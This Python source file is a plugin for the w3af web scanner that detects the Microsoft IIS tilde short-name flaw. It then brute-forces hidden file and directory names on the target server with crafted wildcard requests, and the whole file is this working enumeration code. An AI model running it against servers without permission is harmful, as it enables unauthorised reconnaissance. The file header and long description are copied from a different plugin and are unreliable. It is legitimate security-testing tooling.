'''
dir_bruter.py

Copyright 2012 Tomas Velazquez

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

import core.controllers.outputManager as om

# options
from core.data.options.option import option
from core.data.options.optionList import optionList

from core.controllers.basePlugin.baseDiscoveryPlugin import baseDiscoveryPlugin

import core.data.kb.knowledgeBase as kb
import core.data.kb.info as info

from core.controllers.w3afException import w3afRunOnce

from core.data.bloomfilter.bloomfilter import scalable_bloomfilter

import os

from core.controllers.coreHelpers.fingerprint_404 import is_404
from core.data.fuzzer.fuzzer import createRandAlNum





class iis_short_name_brute(baseDiscoveryPlugin):
    '''
    Finds Web server files and folders by bruteforcing Microsoft IIS short names.

    @author: Tomas Velazquez ( tomas.velazquezz@gmail.com )
    
    This code was based in the work of Soroush Dalili & Ali Abbasnejad
    - http://code.google.com/p/iis-shortname-scanner-poc/
    - http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
    '''
    def __init__(self):
        baseDiscoveryPlugin.__init__(self)
        self._exec = True
        self.isVuln = True

        # User configured parameters
        self._db_file = 'plugins' + os.path.sep + 'discovery' + os.path.sep + 'iis_short_name_brute'
        self._db_file += os.path.sep + 'common_dirs_iis.db'
        self._be_recursive = True

        # Internal variables
        #self._tested_base_url = False
        self._already_tested_dir = scalable_bloomfilter()
        self._already_tested_resource = scalable_bloomfilter()

        # In order to see the errors better than a normal request
        self.additionalQuery = '?aspxerrorpath=/'

        # discard any of these to have more speed!
        self.scanSymbols = "0123456789abcdefghijklmnopqrstuvwxyz!#$%&'()-@^_`{}~"
        self.magicFinalPartList = {'/a.aspx','/a.shtml','/a.asp','/a.asmx','/a.ashx','/a.config','/a.php','/a.jpg','/a.xxx',''}

        self.magicFileName = '*~1*'
        self.magicFileExtension = '*'
        self.magicFinalPart = ''

        self.scanList = list(self.scanSymbols)


    def discover(self, fuzzableRequest):
        '''
        Get the file and parse it.
        @parameter fuzzableRequest: A fuzzableRequest instance that contains
                                                      (among other things) the URL to test.
        '''
        if not self._exec:
            raise w3afRunOnce()
        
        if not self._be_recursive:
            # Only run once
            self._exec = False
        
        #domain_path = fuzzableRequest.getURL().getDomainPath()
        self.base_path = fuzzableRequest.getURL().baseUrl()        
        self.resource = '/'.join(str(fuzzableRequest.getURL().getDomainPath()).split('/')[3:])

        if self.isVuln:
            self.fuzzableRequest = fuzzableRequest
            self._exec = self.isVulnerable()
            if not self.isVuln:
                self._exec = False
                return []
            self.isVuln = False

        if self.resource in self._already_tested_dir:
            return []

        self._fuzzable_requests = []
        self._already_tested_dir.add(self.resource)

        self.fuzzableRequest = fuzzableRequest
        self.resource = '/'.join(str(self.fuzzableRequest.getURL()).split('/')[3:])
        #if not self.resource.endswith('/'):
           #self.resource += '/'
        self.bruteForce()

        return self._fuzzable_requests

    def isVulnerable(self):
        '''
        '''
        
	for s in self.magicFinalPartList:
            self._run_async(
                meth=self.isReliable,
                args=(s,)
                )
            
        self._join()

	if self.magicFinalPart == '':
            msg = 'The remote Web server seems not vulnerable to Microsoft IIS tilde vulnerability.'
            om.out.information(msg)
            return False
        else:
            i = info.info()
            i.setPluginName(self.getName())
            i.setName('Microsoft IIS tilde vulnerability detected')
            #i.setURL(self.base_path)
            i.setURL(self.fuzzableRequest.getURL().baseUrl())
            i.setMethod('GET')
            desc = 'Microsoft IIS tilde vulnerability was detected in the remote web server. '
            desc += 'This could be used to bruteforce file names and find new resources.'
            i.setDesc(desc)
            #i.setId(response.id)
            kb.kb.append(self, 'iss_tilde', i)
            om.out.information(i.getDesc())
            return True


    def bruteForce(self):
        '''
        @parameter base_path: The base path to use in the bruteforcing process, can be something
        like http://host.tld/ or http://host.tld/images/ .
        '''
        self.scanListName = []
        self.scanListExtension = []
        self.finalResultsDirs = []
        self.finalResultsFiles = []        

        self.scanListPurifier()
        om.out.information('Brute Force Characters: ['+''.join(self.scanListName)+'].['+''.join(self.scanListExtension)+'] @ '+self.base_path+'/'+self.resource)

        self.iterateScanFileName('')
        self._join()

        msg = '%s %d dirs %d files' % (self.base_path+'/'+self.resource, len(self.finalResultsDirs), len(self.finalResultsFiles))
        om.out.information(msg)


        f = open(self._db_file,'r')
	wordlist = f.readlines()
        f.close()
        _to_check_dirs = set()
        _to_check_files = []
        for s in self.finalResultsDirs:
            om.out.information('Dir: ' + s)
            r = self.getHttpResponse(s)
            fuzzableReqs = self._createFuzzableRequests(r)
            self._fuzzable_requests.extend(fuzzableReqs)
            s = '^'+s.split('~')[0] # s.split('~')[1:]
            for word in wordlist:
                import re
                m = re.search(s, word.strip(), re.IGNORECASE)
                if m:
                    _to_check_dirs.add(word.strip())


        for s in self.finalResultsFiles:
            om.out.information('File: ' + s)
            r = self.getHttpResponse(s)
            fuzzableReqs = self._createFuzzableRequests(r)
            self._fuzzable_requests.extend(fuzzableReqs)

        om.out.information('Matched wordlist dirs: '+', '.join(list(_to_check_dirs)))
	
        for _dir in _to_check_dirs:
             prev = self.resource
             self.resource += _dir + '/'
             response = self.getHttpResponse('')
             if response.getCode() != 404:
                 fuzzableReqs = self._createFuzzableRequests(response)
                 self._fuzzable_requests.extend(fuzzableReqs)

                 self.bruteForce()
	     self.resource = prev


    def isReliable(self, magicFinalPart):
        result = False
        validResponse = self.getHttpResponse('/*~1*' + magicFinalPart)
        invalidResponse = self.getHttpResponse('/1234567890*~1*' + magicFinalPart)

        if validResponse.getCode() != invalidResponse.getCode():
            tempInvalidResponse = self.getHttpResponse('/0123456789*~1*' + magicFinalPart)

            # If two different invalid requests lead to different answers, we cannot rely on the responses!
            if tempInvalidResponse.getCode() == invalidResponse.getCode():
                self.magicFinalPart = magicFinalPart
                result = True
                
        return result
        
    def scanListPurifier(self):
        '''
        '''
        for key in self.scanList:
            self._run_async(
                meth=self.nameCharPurifier,
                args=(key,)
                )
            self._run_async(
                meth=self.extensionCharPurifier,
                args=(key,)
                )

        self._join()
        self.scanListName.sort()
        self.scanListExtension.sort()

    def nameCharPurifier(self, strInput):
        '''
        if folder have a name character add it o internal list
        '''
        # Should be valid to be added to the list
        response = self.getHttpResponse('/*' + strInput + '*~1*' + self.magicFinalPart)
        if response.getCode() == 404:
            # It is obviously invalid, but some URL rewriters are sensitive against some characters!
            response = self.getHttpResponse('/1234567890' + strInput + '*~1*' + self.magicFinalPart)
            if response.getCode() != 404:
                self.scanListName.append(strInput) # Valid character - add it to the list

    def extensionCharPurifier(self, strInput):
        '''
        if folder have a extension character add it o internal list
        '''
        # Should be valid to be added to the list
        response = self.getHttpResponse('/*~1.*' + strInput + '*' + self.magicFinalPart)
        if response.getCode() == 404:
            # It is obviously invalid, but some URL rewriters are sensitive against some characters! 
            response = self.getHttpResponse('/*~1.*' + strInput + '1234567890' + self.magicFinalPart)
            if response.getCode() != 404:
                self.scanListExtension.append(strInput) # Valid character - add it to the list


    def iterateScanFileName(self, strInput):
        for key in self.scanListName:
            newStr = strInput + key
            response = self.getHttpResponse('/' + newStr + self.magicFileName + self.magicFinalPart)
            if response.getCode() == 404:
                isItLastFileName = self.isItLastFileName(newStr)

                if isItLastFileName > 0:
                    # Add it to final list
                    counter = 1
                    while response.getCode() == 404:
                        fileName = newStr + '~' + str(counter)
                        # Find Extension
                        if self.isItFolder(fileName):
                            self.finalResultsDirs.append(fileName.upper())
                                                                        
                        fileName += '.'
                        
                        self._run_async(
                            meth=self.iterateScanFileExtension,
                            args=(fileName, '',)
                            )

                        counter += 1
                        response = self.getHttpResponse('/' + newStr + self.magicFileName.replace('1', str(counter)) + self.magicFinalPart)
               
                    if isItLastFileName == 2:
                        self._run_async(
                            meth=self.iterateScanFileName,
                            args=(newStr,)
                            )
                else:
                    self._run_async(
                        meth=self.iterateScanFileName,
                        args=(newStr,)
                        )


    def iterateScanFileExtension(self, strFilename, strInput):
        for key in self.scanListExtension:
            newStr = strInput + key
            response = self.getHttpResponse('/' + strFilename + newStr + self.magicFileExtension + self.magicFinalPart)
            if response.getCode() == 404:
                if (self.isItLastFileExtension(strFilename + newStr)):
                    # Add it to final list
                    fileName = strFilename + newStr
                    self.finalResultsFiles.append(fileName.upper())
                    if len(newStr) < 3:
                        self._run_async(
                            meth=self.iterateScanFileExtension,
                            args=(strFilename, newStr,)
                            )
                else:
                    self._run_async(
                        meth=self.iterateScanFileExtension,
                        args=(strFilename, newStr,)
                        )

    def isItFolder(self, strInput):
        '''
        @return: true if input string is a folder otherwise return false
        '''
        result = False # No Dir or File
        #response = self.getHttpResponse('/' + strInput + '?' + self.magicFinalPart)
        response = self.getHttpResponse('/' + strInput + self.magicFinalPart)
        
        if response.getCode() == 404:
            result = True # A directory
        
        return result     


    def isItLastFileName(self, strInput):
        result = 1 # File is available and there is no more file
        if len(strInput) < 6:
            response = self.getHttpResponse('/' + strInput + '?*~1*' + self.magicFinalPart)
            if response.getCode() == 404:
                result = 0 # This file is not completed
                response = self.getHttpResponse('/' + strInput + '~1*' + self.magicFinalPart)
                if response.getCode() == 404:
                    result = 2 # This file is available but there is more as well
        
        return result


    def isItLastFileExtension(self, strInput):
        result = False
        if len(strInput) <= 12:
            extLength = 3 # default length
            if strInput.index('.') > 0 and strInput.index('.') != (len(strInput) - 1):
                if len(strInput.split('.')[1]) >= extLength:
                    result = True
                elif self.getHttpResponse('/' + strInput + '.*' + self.magicFinalPart).getCode() == 404:
                    result = True
                elif (self.getHttpResponse(strInput + self.magicFinalPart).getCode() != self.getHttpResponse(strInput + 'xxx' + self.magicFinalPart).getCode()):
                    result = True
            
            if not result:
                response = self.getHttpResponse('/' + strInput + self.magicFileExtension + self.magicFinalPart)
                if response.getCode() != 404:
                    result = True
                
        return result

    def getHttpResponse(self, strAddition):
        '''
        @return: A GET object with the HTTP responde code
        '''
        strAddition = '/' + self.resource + strAddition #+ self.additionalQuery
        strAddition = strAddition.replace('//', '/')
        url = self.base_path.urlJoin(strAddition)
        response = self._uri_opener.GET(url, cache=False)

        return response

    def getOptions(self):
        '''
        @return: A list of option objects for this plugin.
        '''    
        d1 = 'Wordlist to use in directory bruteforcing process.'
        o1 = option('wordlist', self._db_file , d1, 'string')
        
        d2 = 'If set to True, this plugin will bruteforce all directories, not only the root'
        d2 += ' directory.'
        o2 = option('be_recursive', self._be_recursive , d2, 'boolean')

        ol = optionList()
        ol.add(o1)
        ol.add(o2)

        return ol

    def setOptions(self, OptionList):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter OptionList: A dictionary with the options for the plugin.
        @return: No value is returned.
        ''' 
        wordlist = OptionList['wordlist'].getValue()
        if os.path.exists(wordlist):
            self._db_file = wordlist
            
        self._be_recursive = OptionList['be_recursive'].getValue()

    def getPluginDeps(self):
        '''
        @return: A list with the names of the plugins that should be run before the
        current one.
        '''
        return ['discovery.webSpider']

    def getLongDesc(self):
        '''
        @return: A DETAILED description of the plugin functions and features.
        '''
        return '''
        This plugin finds directories on a web server by bruteforcing the names using a list.

        Two configurable parameters exist:
            - wordlist: The wordlist to be used in the directory bruteforce process.
            - be_recursive: If set to True, this plugin will bruteforce all directories, not only
            the root directory.
        '''
